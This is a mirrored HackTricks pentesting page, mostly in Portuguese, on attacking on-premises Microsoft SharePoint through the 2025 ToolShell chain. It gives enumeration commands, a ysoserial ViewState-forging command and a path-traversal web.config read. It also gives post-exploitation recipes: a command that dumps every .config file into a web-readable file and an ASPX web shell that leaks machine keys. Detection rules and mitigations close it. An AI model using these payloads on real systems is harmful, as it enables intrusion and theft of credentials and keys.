mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
127 lines
6.2 KiB
Markdown
127 lines
6.2 KiB
Markdown
# Microsoft SharePoint – Pentesting & Exploitation
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
> Microsoft SharePoint (local) é construído sobre ASP.NET/IIS. A maior parte da superfície de ataque web clássica (ViewState, Web.Config, web shells, etc.) está, portanto, presente, mas o SharePoint também vem com centenas de páginas ASPX proprietárias e serviços web que ampliam dramaticamente a superfície de ataque exposta. Esta página coleta truques práticos para enumerar, explorar e persistir dentro de ambientes SharePoint, com ênfase na cadeia de exploração de 2025 divulgada pela Unit42 (CVE-2025-49704/49706/53770/53771).
|
||
|
||
## 1. Quick enumeration
|
||
```
|
||
# favicon hash and keywords
|
||
curl -s https://<host>/_layouts/15/images/SharePointHome.png
|
||
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
|
||
|
||
# version leakage (often in JS)
|
||
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
|
||
|
||
# interesting standard paths
|
||
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
|
||
/_vti_bin/Lists.asmx # legacy SOAP service
|
||
/_catalogs/masterpage/Forms/AllItems.aspx
|
||
|
||
# enumerate sites & site-collections (requires at least Anonymous)
|
||
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
|
||
```
|
||
## 2. Cadeia de exploração 2025 (a.k.a. “ToolShell”)
|
||
|
||
### 2.1 CVE-2025-49704 – Injeção de Código em ToolPane.aspx
|
||
|
||
`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>` permite que código *Server-Side Include* arbitrário seja injetado na página, que é posteriormente compilada pelo ASP.NET. Um atacante pode incorporar C# que executa `Process.Start()` e inserir um ViewState malicioso.
|
||
|
||
### 2.2 CVE-2025-49706 – Bypass de Autenticação Impropria
|
||
|
||
A mesma página confia no cabeçalho **X-Forms_BaseUrl** para determinar o contexto do site. Ao apontá-lo para `/_layouts/15/`, a MFA/SSO aplicada no site raiz pode ser contornada **sem autenticação**.
|
||
|
||
### 2.3 CVE-2025-53770 – Desserialização de ViewState Não Autenticada → RCE
|
||
|
||
Uma vez que o atacante controla um gadget em `ToolPane.aspx`, ele pode postar um valor `__VIEWSTATE` **não assinado** (ou apenas com MAC) que aciona a desserialização .NET dentro do *w3wp.exe*, levando à execução de código.
|
||
|
||
Se a assinatura estiver habilitada, roube a **ValidationKey/DecryptionKey** de qualquer `web.config` (veja 2.4) e forje o payload com *ysoserial.net* ou *ysodom*:
|
||
```
|
||
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
|
||
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
|
||
```
|
||
Para uma explicação detalhada sobre como abusar do ASP.NET ViewState, leia:
|
||
{{#ref}}
|
||
../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
|
||
{{#endref}}
|
||
|
||
### 2.4 CVE-2025-53771 – Path Traversal / divulgação do web.config
|
||
|
||
Enviar um parâmetro `Source` elaborado para `ToolPane.aspx` (por exemplo, `../../../../web.config`) retorna o arquivo alvo, permitindo a divulgação de:
|
||
|
||
* `<machineKey validationKey="…" decryptionKey="…">` ➜ forjar cookies ViewState / ASPXAUTH
|
||
* strings de conexão e segredos.
|
||
|
||
## 3. Receitas de pós-exploração observadas na natureza
|
||
|
||
### 3.1 Exfiltrar todos os arquivos *.config* (variação-1)
|
||
```
|
||
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
|
||
```
|
||
O resultado do `debug_dev.js` pode ser baixado anonimamente e contém **todas** as configurações sensíveis.
|
||
|
||
### 3.2 Implantar um shell web ASPX codificado em Base64 (variação-2)
|
||
```
|
||
powershell.exe -EncodedCommand <base64>
|
||
```
|
||
Exemplo de payload decodificado (abreviado):
|
||
```csharp
|
||
<%@ Page Language="C#" %>
|
||
<%@ Import Namespace="System.Security.Cryptography" %>
|
||
<script runat="server">
|
||
protected void Page_Load(object sender, EventArgs e){
|
||
Response.Write(MachineKey.ValidationKey);
|
||
// echo secrets or invoke cmd
|
||
}
|
||
</script>
|
||
```
|
||
Escrito para:
|
||
```
|
||
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
|
||
```
|
||
A shell expõe endpoints para **ler / girar chaves de máquina** que permitem forjar cookies ViewState e ASPXAUTH em toda a fazenda.
|
||
|
||
### 3.3 Variante ofuscada (variação-3)
|
||
|
||
Mesma shell, mas:
|
||
* colocada em `...\15\TEMPLATE\LAYOUTS\`
|
||
* nomes de variáveis reduzidos a letras únicas
|
||
* `Thread.Sleep(<ms>)` adicionado para evasão de sandbox e bypass de AV baseado em tempo.
|
||
|
||
## 4. Ideias de detecção
|
||
|
||
| Telemetria | Por que é suspeito |
|
||
|------------|---------------------|
|
||
| `w3wp.exe → cmd.exe` | O processo de trabalho raramente deve gerar shell |
|
||
| `cmd.exe → powershell.exe -EncodedCommand` | Padrão clássico de lolbin |
|
||
| Eventos de arquivo criando `debug_dev.js` ou `spinstall0.aspx` | IOCs diretamente do ToolShell |
|
||
| `ProcessCmdLine CONTÉM ToolPane.aspx` (logs ETW/Módulo) | PoCs públicas invocam esta página |
|
||
|
||
Exemplo de regra XDR / Sysmon (pseudo-XQL):
|
||
```
|
||
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
|
||
```
|
||
## 5. Dureza & Mitigação
|
||
|
||
1. **Patch** – Atualizações de segurança de julho de 2025 corrigem *todos* os quatro CVEs.
|
||
2. **Rotacione** todos os segredos `<machineKey>` e `ViewState` após a violação.
|
||
3. Remova a permissão de escrita *LAYOUTS* dos grupos `WSS_WPG` & `WSS_ADMIN_WPG`.
|
||
4. Bloqueie o acesso externo a `/_layouts/15/ToolPane.aspx` no nível de proxy/WAF.
|
||
5. Ative **ViewStateUserKey**, **MAC habilitado** e *EventValidation* personalizado.
|
||
|
||
## Truques relacionados
|
||
|
||
* IIS pós-exploração & abuso de web.config:
|
||
{{#ref}}
|
||
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
|
||
{{#endref}}
|
||
|
||
## Referências
|
||
|
||
- [Unit42 – Exploração Ativa de Vulnerabilidades do Microsoft SharePoint](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
|
||
- [GitHub PoC – Cadeia de exploração ToolShell](https://github.com/real-or-not/ToolShell)
|
||
- [Microsoft Security Advisory – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
|
||
- [Microsoft Security Advisory – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|